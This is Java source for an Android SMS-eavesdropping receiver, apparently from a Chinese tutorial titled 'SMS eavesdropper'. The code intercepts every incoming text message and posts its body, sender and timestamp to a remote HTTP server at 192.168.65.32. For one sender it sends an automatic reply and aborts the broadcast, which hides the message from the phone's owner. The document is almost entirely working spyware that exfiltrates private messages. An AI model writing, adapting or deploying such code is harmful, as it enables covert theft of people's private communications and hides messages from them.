package cn.class3g.smslistener; import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; import java.util.Map; import cn.class3g.utils.SocketHttpRequester; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class MySMSListener extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Bundle bundle = intent.getExtras(); Object[] pdus = (Object[]) bundle.get("pdus"); if (pdus != null && pdus.length > 0) { SmsMessage[] messages = new SmsMessage[pdus.length]; for (int i = 0; i < messages.length; i++) { byte[] pdu = (byte[]) pdus[i]; messages[i] = SmsMessage.createFromPdu(pdu); } for (SmsMessage msg : messages) { String content = msg.getMessageBody(); String sender = msg.getOriginatingAddress(); Date date = new Date(msg.getTimestampMillis()); SimpleDateFormat sdf = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss"); String sendTime = sdf.format(date); String path = "http://192.168.65.32:8080/videoweb/video/manage.do"; Map<String, String> param = new HashMap<String, String>(); param.put("method", "getSMS"); param.put("content", content); param.put("sender", sender); param.put("time", sendTime); try { SocketHttpRequester.post(path, param, "UTF-8"); } catch (Exception e) { // TODO Auto-generated catch block Log.e("tag", e.toString()); } if (sender != null && sender.endsWith("5556")) { SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, "123", null, null); this.abortBroadcast();// 阻止接受 } } } } }
Android开发之短信窃听器
内容版权声明:除非注明,否则皆为本站原创文章。